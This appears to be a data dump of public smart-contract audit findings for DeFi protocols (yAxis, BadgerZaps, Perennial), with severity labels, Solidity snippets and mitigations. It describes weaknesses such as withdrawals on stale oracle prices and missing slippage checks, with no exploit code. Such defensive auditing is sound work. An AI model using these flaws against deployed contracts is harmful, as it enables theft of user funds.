https://github.com/code-423n4/2021-11-yaxis/blob/0311dd421fb78f4f174aca034e8239d1e80075fe/contracts/v3/alchemix/adapters/YaxisVaultAdapter.sol#L19 https://github.com/code-423n4/2021-11-yaxis/blob/0311dd421fb78f4f174aca034e8239d1e80075fe/contracts/v3/alchemix/adapters/YearnVaultAdapter.sol#L19 The contract does not use FixedPointMath and compiles with these lines removed. ## Recommended Mitigation Steps Remove line 10,19 from each contract (FixedPointMath lines). I'd also prefer the removal of import \"hardhat/console.sol\"; but this is not having any impact and is just to tidy and shorten the files. "}, {"title": "Cache length of array when looping", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/17", "labels": ["bug", "invalid", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-yaxis-findings", "body": "Cache length of array when looping"}, {"title": "admin Variable is High Risk", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/15", "labels": ["bug", "0 (Non-critical)", "sponsor disputed", "wont fix"], "target": "2021-11-yaxis-findings", "body": "admin Variable is High Risk"}, {"title": "Prevent Minting During Emergency Exit", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/12", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle TimmyToes # Vulnerability details ## Impact Potential increased financial loss during security incident. ## Proof of Concept https://github.com/code-423n4/2021-11-yaxis/blob/0311dd421fb78f4f174aca034e8239d1e80075fe/contracts/v3/alchemix/Alchemist.sol#L611 Consider a critical incident where a vault is being drained or in danger of being drained due to a vulnerability within the vault or its strategies. At this stage, you want to trigger emergency exit and users want to withdraw their funds and repay/liquidate to enable the withdrawal of funds. However, minting against debt does not seem like a desirable behaviour at this time. It only seems to enable unaware users to get themselves into trouble by locking up their funds, or allow an attacker to do more damage. ## Recommended Mitigation Steps Convert emergency exit check to a modifier, award wardens who made that suggestion, and then apply that modifier here. Alternatively, it is possible that the team might want to allow minting against credit: users minting against credit would effectively be cashing out their rewards. This might be seen as desirable during emergency exit, or it might be seen as a potential extra source of risk. If this is desired, then the emergency exit check could be placed at line 624 with a modified message, instructing users to only use credit. "}, {"title": "Convert Emergency Exit Check to Modifier.", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/11", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle TimmyToes # Vulnerability details ## Impact Gas saving on deployment. Guaranteed consistency, especially if making the same check across multiple functions (and I'm about to suggest that you might want to check this more). Increased functionality of inheriting contracts. Improved readability and code organisation. Basically, every reason that modifiers exist in the first place. ## Proof of Concept https://github.com/code-423n4/2021-11-yaxis/blob/0311dd421fb78f4f174aca034e8239d1e80075fe/contracts/v3/alchemix/Alchemist.sol#L457 https://github.com/code-423n4/2021-11-yaxis/blob/0311dd421fb78f4f174aca034e8239d1e80075fe/contracts/v3/alchemix/Alchemist.sol#L489 ## Tools Used ## Recommended Mitigation Steps Convert emergency exit check to modifier. "}, {"title": "Effects and Interactions Before Check", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/10", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "fix later"], "target": "2021-11-yaxis-findings", "body": "Effects and Interactions Before Check"}, {"title": "Multiple Assignments to Storage Variable", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/9", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed", "wont fix"], "target": "2021-11-yaxis-findings", "body": "Multiple Assignments to Storage Variable"}, {"title": "Incorrect Event Emitted in Alchemist.sol", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/7", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle TimmyToes # Vulnerability details ## Impact The event emitted is for the updating of a different fee (the harvest fee). This could cause potential issues for any system wishing to integrate with yAxis and wishing to monitor changes to the system and potentially react to them. Such a system could record the wrong harvest fee and would be unaware of updates to the borrow fee. ## Proof of Concept https://github.com/code-423n4/2021-11-yaxis/blob/0311dd421fb78f4f174aca034e8239d1e80075fe/contracts/v3/alchemix/Alchemist.sol#L299 Is the same as line 284 ## Recommended Mitigation Steps Create a new event: event BorrowFeeUpdated(uint256 borrowfee); and call it on line 299 instead of HarvestFeeUpdated "}, {"title": "Incorrect Info in Comment in Alchemist.sol (138)", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/6", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle TimmyToes # Vulnerability details ## Impact Developers wishing to interact with yAxis will find it harder to do so. ## Proof of Concept Lines 138 of Alchemist.sol /// @dev The percent of each profitable harvest that will go to the rewards contract. This comment is incorrect. The borrow fee is charged on mint against debt, not harvest. ## Recommended Mitigation Steps Edit the comment. "}, {"title": "Incorrect Info in Comment in Alchemist.sol", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/5", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle TimmyToes # Vulnerability details ## Impact Developers wishing to interact with yAxis will find it harder to do so. ## Proof of Concept Lines 157-8 of Alchemist.sol /// @dev A mapping of all of the user CDPs. If a user wishes to have multiple CDPs they will have to either /// create a new address or set up a proxy contract that interfaces with this contract. A proxy contract is not an option as most of the functions in the Alchemist contract have a noContractAllowed modifier. ## Recommended Mitigation Steps Edit the comment to remove the proxy suggestion. "}, {"title": "Lack of 'emit' keyword in AlToken.sol", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/4", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle tqts # Vulnerability details ## Impact An event is called without the emit keyword ## Proof of Concept https://github.com/code-423n4/2021-11-yaxis/blob/0311dd421fb78f4f174aca034e8239d1e80075fe/contracts/v3/alchemix/AlToken.sol#L100 ## Tools Used Manual review ## Recommended Mitigation Steps Add the 'emit' keyword in the event emission. "}, {"title": "Gas optimization in AlToken.sol", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/3", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle tqts # Vulnerability details ## Impact Double calculation of the same value in mint() ## Proof of Concept https://github.com/code-423n4/2021-11-yaxis/blob/0311dd421fb78f4f174aca034e8239d1e80075fe/contracts/v3/alchemix/AlToken.sol#L69 ## Tools Used Manual review ## Recommended Mitigation Steps The _total variable in line 66 is defined as _amount + hasMinted(msg.sender). Line 69 needs that value again but recalculates it again instead of using the stored one. Replace line 69 with hasMinted(msg.sender) = _total "}, {"title": "Gas optimization when a paused user calls mint() in AlToken.sol", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle tqts # Vulnerability details ## Impact Gas saved when a paused user calls mint() ## Proof of Concept https://github.com/code-423n4/2021-11-yaxis/blob/0311dd421fb78f4f174aca034e8239d1e80075fe/contracts/v3/alchemix/AlToken.sol#L68 ## Tools Used Manual review ## Recommended Mitigation Steps Check for the paused condition before checking for the ceiling condition. If the user is paused, the function reverts earlier, saving gas. "}, {"title": "Gas Optimization on the Public Function", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/79", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-badgerzaps-findings", "body": "Gas Optimization on the Public Function"}, {"title": "Gas optimization: Unnecessary ops", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/78", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-badgerzaps-findings", "body": "Gas optimization: Unnecessary ops"}, {"title": "Gas optimization: Unreachable code in Zap.sol", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/77", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-badgerzaps-findings", "body": "Gas optimization: Unreachable code in Zap.sol"}, {"title": "Gas optimization: Use else if for mutually exclusive conditions", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/76", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-badgerzaps-findings", "body": "Gas optimization: Use else if for mutually exclusive conditions"}, {"title": "`calcMint` always return poolId=0 and idx=0", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/72", "labels": ["bug", "2 (Med Risk)"], "target": "2021-11-badgerzaps-findings", "body": "`calcMint` always return poolId=0 and idx=0"}, {"title": "No slippage control on `deposit` of IbbtcVaultZap.sol", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/71", "labels": ["bug", "2 (Med Risk)"], "target": "2021-11-badgerzaps-findings", "body": "No slippage control on `deposit` of IbbtcVaultZap.sol"}, {"title": "Open TODOs", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/67", "labels": ["bug", "0 (Non-critical)"], "target": "2021-11-badgerzaps-findings", "body": "Open TODOs"}, {"title": "public function that could be set external instead", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/61", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-badgerzaps-findings", "body": "public function that could be set external instead"}, {"title": "Zap.sol init for loop - uint default value is 0", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/60", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-badgerzaps-findings", "body": "Zap.sol init for loop - uint default value is 0"}, {"title": "named return issue - Zap.sol calcMint", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/59", "labels": ["bug", "disagree with severity", "sponsor disputed", "0 (Non-critical)"], "target": "2021-11-badgerzaps-findings", "body": "named return issue - Zap.sol calcMint"}, {"title": " Unnecessary `SLOAD`s / `MLOAD`s / `CALLDATALOAD`s in for-each loops", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/58", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-badgerzaps-findings", "body": " Unnecessary `SLOAD`s / `MLOAD`s / `CALLDATALOAD`s in for-each loops"}, {"title": "Critical changes should use two-step procedure", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/56", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)"], "target": "2021-11-badgerzaps-findings", "body": "Critical changes should use two-step procedure"}, {"title": "Missing events for critical operations", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/55", "labels": ["bug", "disagree with severity", "sponsor confirmed", "0 (Non-critical)"], "target": "2021-11-badgerzaps-findings", "body": "Missing events for critical operations"}, {"title": "Missing `_token.approve()` to `curvePool` in `setZapConfig`", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/53", "labels": ["bug", "sponsor confirmed", "2 (Med Risk)"], "target": "2021-11-badgerzaps-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/Badger-Finance/badger-ibbtc-utility-zaps/blob/8d265aacb905d30bd95dcd54505fb26dc1f9b0b6/contracts/SettToRenIbbtcZap.sol#L162-L183 ```solidity=162 function setZapConfig( uint256 _idx, address _sett, address _token, address _curvePool, address _withdrawToken, int128 _withdrawTokenIndex ) external { _onlyGovernance(); require(_sett != address(0)); require(_token != address(0)); require( _withdrawToken == address(WBTC) || _withdrawToken == address(RENBTC) ); zapConfigs[_idx].sett = ISett(_sett); zapConfigs[_idx].token = IERC20Upgradeable(_token); zapConfigs[_idx].curvePool = ICurveFi(_curvePool); zapConfigs[_idx].withdrawToken = IERC20Upgradeable(_withdrawToken); zapConfigs[_idx].withdrawTokenIndex = _withdrawTokenIndex; } ``` In the current implementation, when `curvePool` or `token` got updated, `token` is not approved to `curvePool`, which will malfunction the contract and break minting. ### Recommendation Change to: ```solidity=162 function setZapConfig( uint256 _idx, address _sett, address _token, address _curvePool, address _withdrawToken, int128 _withdrawTokenIndex ) external { _onlyGovernance(); require(_sett != address(0)); require(_token != address(0)); require( _withdrawToken == address(WBTC) || _withdrawToken == address(RENBTC) ); if (zapConfigs[_idx].curvePool != _curvePool && _curvePool != address(0)) { IERC20Upgradeable(_token).safeApprove( _curvePool, type(uint256).max ); } zapConfigs[_idx].sett = ISett(_sett); zapConfigs[_idx].token = IERC20Upgradeable(_token); zapConfigs[_idx].curvePool = ICurveFi(_curvePool); zapConfigs[_idx].withdrawToken = IERC20Upgradeable(_withdrawToken); zapConfigs[_idx].withdrawTokenIndex = _withdrawTokenIndex; } ``` "}, {"title": "`blockLock` of `RENCRV_SETT` makes transactions likely to fail as only 1 transaction is allowed in 1 block", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/52", "labels": ["bug", "disagree with severity", "1 (Low Risk)"], "target": "2021-11-badgerzaps-findings", "body": "`blockLock` of `RENCRV_SETT` makes transactions likely to fail as only 1 transaction is allowed in 1 block"}, {"title": "`setGuardian()` Wrong implementation", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/51", "labels": ["bug", "3 (High Risk)"], "target": "2021-11-badgerzaps-findings", "body": "`setGuardian()` Wrong implementation"}, {"title": "Excessive `require` makes the transaction fail unexpectedly", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/50", "labels": ["bug", "sponsor confirmed", "2 (Med Risk)"], "target": "2021-11-badgerzaps-findings", "body": "# Handle WatchPug # Vulnerability details The check for `RENCRV_VAULT.blockLock` is only needed when `if (_amounts[1] > 0 || _amounts[2] > 0)`. However, in the current implementation, the check is done at the very first, making transactions unrelated to `RENCRV_VAULT` fail unexpectedly if there is a prior transaction involved with `RENCRV_VAULT` in the same block. https://github.com/Badger-Finance/badger-ibbtc-utility-zaps/blob/8d265aacb905d30bd95dcd54505fb26dc1f9b0b6/contracts/IbbtcVaultZap.sol#L149-L199 ```solidity=149{154-157,182} function deposit(uint256[4] calldata _amounts, uint256 _minOut) public whenNotPaused { // Not block locked by setts require( RENCRV_VAULT.blockLock(address(this)) < block.number, \"blockLocked\" ); require( IBBTC_VAULT.blockLock(address(this)) < block.number, \"blockLocked\" ); uint256[4] memory depositAmounts; for (uint256 i = 0; i < 4; i++) { if (_amounts[i] > 0) { ASSETS[i].safeTransferFrom( msg.sender, address(this), _amounts[i] ); if (i == 0 || i == 3) { // ibbtc and sbtc depositAmounts[i] += _amounts[i]; } } } if (_amounts[1] > 0 || _amounts[2] > 0) { // Use renbtc and wbtc to mint ibbtc // NOTE: Can change to external zap if implemented depositAmounts[0] += _renZapToIbbtc([_amounts[1], _amounts[2]]); } // ... } ``` "}, {"title": "`Zap.sol#mint()` Check `blockLock` earlier can save gas", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/49", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-badgerzaps-findings", "body": "`Zap.sol#mint()` Check `blockLock` earlier can save gas"}, {"title": "Improper implementation of slippage check", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/47", "labels": ["bug", "2 (Med Risk)"], "target": "2021-11-badgerzaps-findings", "body": "Improper implementation of slippage check"}, {"title": "Avoid unnecessary arithmetic operations can save gas", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/45", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-badgerzaps-findings", "body": "Avoid unnecessary arithmetic operations can save gas"}, {"title": "Arithmetic operations without using SafeMath may over/underflow", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/44", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-badgerzaps-findings", "body": "Arithmetic operations without using SafeMath may over/underflow"}, {"title": "Redundant type casting", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/42", "labels": ["bug", "0 (Non-critical)"], "target": "2021-11-badgerzaps-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/LaunchEvent.sol#L82-L82 ```solidity IJoeFactory private factory; ``` https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/LaunchEvent.sol#L385-L385 ```solidity IJoeFactory(factory).getPair(wavaxAddress, tokenAddress) ``` `factory` is defined as `IJoeFactory` already, the type casting is redundant. "}, {"title": "Avoid unnecessary code execution can save gas", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/41", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-badgerzaps-findings", "body": "Avoid unnecessary code execution can save gas"}, {"title": "Unused local variables", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/39", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)"], "target": "2021-11-badgerzaps-findings", "body": "# Handle WatchPug # Vulnerability details Unused local variables in contracts increase contract size and gas usage at deployment. Instances include: https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXStakingZap.sol#L187-L187 ```solidity=187 uint256 xTokensMinted = inventoryStaking.timelockMintFor(vaultId, count*BASE, msg.sender, inventoryLockTime); ``` https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXStakingZap.sol#L207-L207 ```solidity=207 uint256 xTokensMinted = inventoryStaking.timelockMintFor(vaultId, count*BASE, msg.sender, inventoryLockTime); ``` "}, {"title": "`Zap.sol#redeem()` Lack of input validation", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/37", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-badgerzaps-findings", "body": "`Zap.sol#redeem()` Lack of input validation"}, {"title": "Avoid unnecessary read of array length in for loops can save gas", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/36", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-badgerzaps-findings", "body": "Avoid unnecessary read of array length in for loops can save gas"}, {"title": "`Zap.sol#mint()` Validation of `poolId` can be done earlier to save gas", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/35", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-badgerzaps-findings", "body": "`Zap.sol#mint()` Validation of `poolId` can be done earlier to save gas"}, {"title": "Adding `recipient` parameter to mint functions can help avoid unnecessary token transfers and save gas", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/34", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-badgerzaps-findings", "body": "Adding `recipient` parameter to mint functions can help avoid unnecessary token transfers and save gas"}, {"title": "Avoiding Initialization of Loop Index If It Is 0", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/29", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-badgerzaps-findings", "body": "Avoiding Initialization of Loop Index If It Is 0"}, {"title": "SLOAD pools.length for Every Loop is Waste of Gas ", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/28", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-badgerzaps-findings", "body": "SLOAD pools.length for Every Loop is Waste of Gas "}, {"title": "use modifier keyword to write modifier not function In SettToRenIbbtcZap.sol line no - 105 and 109", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/27", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)"], "target": "2021-11-badgerzaps-findings", "body": "use modifier keyword to write modifier not function In SettToRenIbbtcZap.sol line no - 105 and 109"}, {"title": "Modifier should be used instead of functions to write modifier in ibBTC VaultZap.sol", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/26", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)"], "target": "2021-11-badgerzaps-findings", "body": "Modifier should be used instead of functions to write modifier in ibBTC VaultZap.sol"}, {"title": "ibbtcCurveLP can be simplified", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/21", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-11-badgerzaps-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Removing unneeded branches and returns can reduce gas usage and improve code clarity. ## Proof of Concept This code https://github.com/Badger-Finance/ibbtc/blob/d8b95e8d145eb196ba20033267a9ba43a17be02c/contracts/Zap.sol#L309-L317 can be refactored to: ``` if (bBtc <= max) { // pesimistically charge 0.5% on the withdrawal. // Actual fee might be lesser if the vault keeps keeps a buffer uint strategyFee = sett.mul(controller.strategies(pool.lpToken).withdrawalFee()).div(10000); lp = sett.sub(strategyFee).mul(pool.sett.getPricePerFullShare()).div(1e18); fee = fee.add(strategyFee); } ``` ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps See POC "}, {"title": "For `uint` use ` != 0` instead of ` > 0`", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/18", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-badgerzaps-findings", "body": "For `uint` use ` != 0` instead of ` > 0`"}, {"title": "Wrong comment on `SettToRenIbbtcZap.sol` and `IbbtcVaultZap.sol`", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/16", "labels": ["bug", "disagree with severity", "1 (Low Risk)"], "target": "2021-11-badgerzaps-findings", "body": "Wrong comment on `SettToRenIbbtcZap.sol` and `IbbtcVaultZap.sol`"}, {"title": "Missing overflow protection", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/13", "labels": ["bug", "sponsor confirmed", "1 (Low Risk)"], "target": "2021-11-badgerzaps-findings", "body": "# Handle pmerkleplant # Vulnerability details ## Impact Function `deposit` in `IbbtcVaultZap.sol` computes two additions without overflow protection, see lines [158](https://github.com/Badger-Finance/badger-ibbtc-utility-zaps/blob/6f700995129182fec81b772f97abab9977b46026/contracts/IbbtcVaultZap.sol#L158) and [166](https://github.com/Badger-Finance/badger-ibbtc-utility-zaps/blob/6f700995129182fec81b772f97abab9977b46026/contracts/IbbtcVaultZap.sol#L166). In the first case, i.e. line 158, the addition can be changed to an assignment, as `depositAmount[i]` is always 0. In the second case, i.e. line 166, an overflow would lead to a wrong amount of funds deposited into Curve and from there to a wrong amount of LP tokens send to the `msg.sender`. ## Recommended Steps of Mitigation As OpenZeppelin's `SafeMathUpgradeable` library is already imported, use their `add` function instead of the native `+` operator. "}, {"title": "Use safeTransfer/safeTransferFrom consistently instead of transfer/transferFrom", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/8", "labels": ["bug", "sponsor acknowledged", "1 (Low Risk)"], "target": "2021-11-badgerzaps-findings", "body": "Use safeTransfer/safeTransferFrom consistently instead of transfer/transferFrom"}, {"title": "Zap.sol declares unused variable `_ren` in `calcRedeemInRen` among other functions", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/4", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-11-badgerzaps-findings", "body": "# Handle TomFrench # Vulnerability details ## Impact Gas costs ## Proof of Concept The variable `_ren` in `Zap.calcRedeemInRen` is declared but unused. This increases gas costs for no benefit. https://github.com/Badger-Finance/ibbtc/blob/d8b95e8d145eb196ba20033267a9ba43a17be02c/contracts/Zap.sol#L272-L280 This also happens in other functions. ## Recommended Mitigation Steps Remove unused variable "}, {"title": "Zap contract's redeem() function doesn't check which token the user wants to receive", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/2", "labels": ["bug", "2 (Med Risk)"], "target": "2021-11-badgerzaps-findings", "body": "Zap contract's redeem() function doesn't check which token the user wants to receive"}, {"title": "Zap contract's mint() allows minting ibbtc tokens for free", "html_url": "https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/1", "labels": ["bug", "disagree with severity", "sponsor disputed", "1 (Low Risk)"], "target": "2021-11-badgerzaps-findings", "body": "Zap contract's mint() allows minting ibbtc tokens for free"}, {"title": "`withdrawTo` Does Not Sync Before Checking A Position's Margin Requirements", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/74", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The `maintenanceInvariant` modifier in `Collateral` aims to check if a user meets the margin requirements to withdraw collateral by checking its current and next maintenance. `maintenanceInvariant` inevitably calls `AccountPosition.maintenance` which uses the oracle's price to calculate the margin requirements for a given position. Hence, if the oracle has not synced in a long time, `maintenanceInvariant` may end up utilising an outdated price for a withdrawal. This may allow a user to withdraw collateral on an undercollaterized position. ## Proof of Concept https://github.com/code-423n4/2021-12-perennial/blob/main/protocol/contracts/collateral/Collateral.sol#L67-L76 ``` function withdrawTo(address account, IProduct product, UFixed18 amount) notPaused collateralInvariant(msg.sender, product) maintenanceInvariant(msg.sender, product) external { _products[product].debitAccount(msg.sender, amount); token.push(account, amount); emit Withdrawal(msg.sender, product, amount); } ``` https://github.com/code-423n4/2021-12-perennial/blob/main/protocol/contracts/collateral/Collateral.sol#L233-L241 ``` modifier maintenanceInvariant(address account, IProduct product) { _; UFixed18 maintenance = product.maintenance(account); UFixed18 maintenanceNext = product.maintenanceNext(account); if (UFixed18Lib.max(maintenance, maintenanceNext).gt(collateral(account, product))) revert CollateralInsufficientCollateralError(); } ``` https://github.com/code-423n4/2021-12-perennial/blob/main/protocol/contracts/product/types/position/AccountPosition.sol#L71-L75 ``` function maintenanceInternal(Position memory position, IProductProvider provider) private view returns (UFixed18) { Fixed18 oraclePrice = provider.priceAtVersion(provider.currentVersion()); UFixed18 notionalMax = Fixed18Lib.from(position.max()).mul(oraclePrice).abs(); return notionalMax.mul(provider.maintenance()); } ``` ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider adding `settleForAccount(msg.sender)` to the `Collateral.withdrawTo` function to ensure the most up to date oracle price is used when assessing an account's margin requirements. "}, {"title": "On updating the Incentive fee greater than UFixedLib18.ONE, new Programs can not be created", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/72", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "# Handle hubble # Vulnerability details ## Impact Incentivizer.updateFee expects a value between UFixed18Lib.ZERO and UFixed18Lib.ONE. When the incentive fee is updated outside of this range, the program creation fails and the product owners would not be able to add new Programs to the Product. ## Proof of Concept Step 1. Update incentive fee File: /protocol/contracts/incentivizer/Incentivizer.sol Line 368 function updateFee(UFixed18 newFee) onlyOwner external { Line 369 fee = newFee; ... Step 2. Create new Program File: /protocol/contracts/incentivizer/Incentivizer.sol Line 59 function create(ProgramInfo calldata info) File: /protocol/contracts/incentivizer/types/ProgramInfo.sol Line 55 Position memory amountAfterFee = info.amount.mul(UFixed18Lib.ONE.sub(fee)); ... Note: Fails at line 55, whenever fee is greater than UFixedLive.ONE ## Tools Used Manual code review ## Recommended Mitigation Steps Implement Range check File: /protocol/contracts/incentivizer/Incentivizer.sol Line 368 function updateFee(UFixed18 newFee) onlyOwner external { Line 369 if(newFee.gte(UFixed18Lib.ONE)) revert NewError(\"newFee should be less than UFixed18Lib.ONE\"); Line 370 fee = newFee; Note: Range check at line 369 "}, {"title": "Initialization functions can be front-run", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/71", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "resolved"], "target": "2021-12-perennial-findings", "body": "Initialization functions can be front-run"}, {"title": "`Collateral.sol#maintananceInvariant` can be combined with `collateralnvarant` to save gas", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/70", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-perennial-findings", "body": "`Collateral.sol#maintananceInvariant` can be combined with `collateralnvarant` to save gas"}, {"title": "At settleAccountInternal, check whether the position can be changeable to pre more efficiently", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/66", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "# Handle 0x0x0x # Vulnerability details In case `oracleVersionCurrent != oracleVersionPreSettle`, the following line `accumulated = accumulated.sub(Fixed18Lib.from(_positions[account].settle(provider, oracleVersionPreSettle)));` ([https://github.com/code-423n4/2021-12-perennial/blob/main/protocol/contracts/product/Product.sol#L136](https://github.com/code-423n4/2021-12-perennial/blob/main/protocol/contracts/product/Product.sol#L136)) doesn't make any change. This line can be at the beginning of the `if` statement below to save gas. "}, {"title": "At `Product.sol#closeAll`, cache `_position[account]`", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/65", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "# Handle 0x0x0x # Vulnerability details At `Product.sol#closeAll` cache `_position[account]` to save gas. In the first line of the function `_position[account]` is used twice and gas can be saved by caching it. "}, {"title": "No checks if given product is created by the factory", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/63", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved"], "target": "2021-12-perennial-findings", "body": "No checks if given product is created by the factory"}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/57", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-perennial-findings", "body": "Adding unchecked directive can save gas"}, {"title": "Fixed18 conversions don't work for all values", "html_url": "https://github.com/code-423n4/2021-12-perennial-findings/issues/54", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-perennial-findings", "body": "# Handle cmichel # Vulnerability details Certain functions in the `Fixed18` contract perform multiplications by `ONE` or `NEG_ONE` before diving by it again which leads to issues that these functions revert for all values `> 